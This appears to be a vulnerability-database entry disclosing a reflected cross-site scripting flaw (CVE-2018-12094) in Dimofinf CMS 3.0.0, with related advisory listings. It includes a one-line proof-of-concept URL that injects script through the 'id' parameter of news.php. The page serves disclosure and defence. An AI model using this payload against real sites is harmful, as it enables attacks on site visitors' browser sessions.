Lucene search
K

Dimofinf CMS 3.0.0 - Cross-Site Scripting Vulnerability

🗓️ 16 Jun 2018 00:00:00Reported by RenziType 
zdt
 zdt
🔗 0day.today👁 54 Views

Dimofinf CMS 3.0.0 Cross-Site Scripting Vulnerability in 'news.php' action GET method

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Dimofinf CMS Cross-Site Scripting Vulnerability
12 Jun 201800:00
cnvd
CVE
CVE-2018-12094
11 Jun 201811:00
cve
Cvelist
CVE-2018-12094
11 Jun 201811:00
cvelist
Exploit DB
Dimofinf CMS 3.0.0 - Cross-Site Scripting
15 Jun 201800:00
exploitdb
EUVD
EUVD-2018-4074
7 Oct 202500:30
euvd
exploitpack
Dimofinf CMS 3.0.0 - Cross-Site Scripting
15 Jun 201800:00
exploitpack
NVD
CVE-2018-12094
11 Jun 201811:29
nvd
Packet Storm
Dimofinf CMS 3.0.0 Cross Site Scripting
12 Jun 201800:00
packetstorm
Prion
Cross site scripting
11 Jun 201811:29
prion
# Title: Dimofinf CMS 3.0.0 - Cross-Site Scripting 
# Author: Felipe "Renzi" Gabriel
# Software: Dimofinf CMS Version 3.0.0
# CVE: CVE-2018-12094
 
# A Reflected Cross-Site Scripting web vulnerability has been discovered in the "Dimofinf CMS" web-application.
# The vulnerability is located in the 'id' parameter of the`news.php` action GET method request.
  
# PoC
http://Target/news.php?id=604""</|\><plaintext/onmouseover=prompt(/XSS/)>

#  0day.today [2018-06-16]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2018 00:00Current
EPSS0.00455
54